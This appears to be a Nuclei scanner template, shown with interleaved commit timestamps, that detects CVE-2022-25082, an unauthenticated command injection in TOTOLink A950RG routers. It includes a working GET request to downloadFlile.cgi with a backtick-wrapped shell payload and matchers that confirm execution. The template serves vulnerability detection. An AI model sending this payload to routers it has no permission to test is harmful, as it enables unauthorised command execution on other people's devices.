2022-11-05 12:21:49 +00:00
id : CVE-2022-25082
info :
name : TOTOLink - Unauthenticated Command Injection
author : gy741
severity : critical
description : |
TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest firmware update provided by the vendor to fix the command injection vulnerability.
2022-11-05 12:21:49 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/cve-2022-25082
- https://github.com/EPhaha/IOT_vuln/blob/main/TOTOLink/A950RG/README.md
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2022-11-05 12:21:49 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-25082
2023-08-31 11:46:18 +00:00
cwe-id : CWE-78
2023-10-14 11:27:55 +00:00
epss-score : 0.0417
2024-01-29 17:11:14 +00:00
epss-percentile : 0.91362
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:o:totolink:a950rg_firmware:4.1.2cu.5204_b20210112:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : totolink
product : a950rg_firmware
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,totolink,router,unauth,rce,iot,intrusive
2022-12-16 09:18:12 +00:00
variables :
2022-12-16 09:40:43 +00:00
cmd : "`ls>../{{randstr}}`"
2022-12-16 09:45:18 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-05 12:21:49 +00:00
- raw :
- |
2022-12-16 09:18:12 +00:00
GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} HTTP/1.1
2022-11-05 12:21:49 +00:00
Host : {{Hostname}}
- |
GET /{{randstr}} HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
2022-12-20 20:26:23 +00:00
part : body_2
2022-11-05 12:21:49 +00:00
words :
2023-07-11 19:49:27 +00:00
- .sh
- .cgi
2022-12-20 15:39:59 +00:00
condition : and
2022-12-16 10:23:28 +00:00
- type : word
2022-12-20 20:26:23 +00:00
part : header_2
2022-12-16 10:23:28 +00:00
words :
2023-07-11 19:49:27 +00:00
- application/octet-stream
2022-11-05 12:21:49 +00:00
- type : status
status :
- 200
2024-01-30 06:46:18 +00:00
# digest: 4a0a00473045022100ab0e7f9afef7c96c52e0e34b677475880eaaa0d5fafe1581e410bbe3a46a405d02205576967e50addde089adcc02b6081e473015b6bbf5a0ce5cb38621566c2cd39c:922c64590222798bb761d5b6d8e72950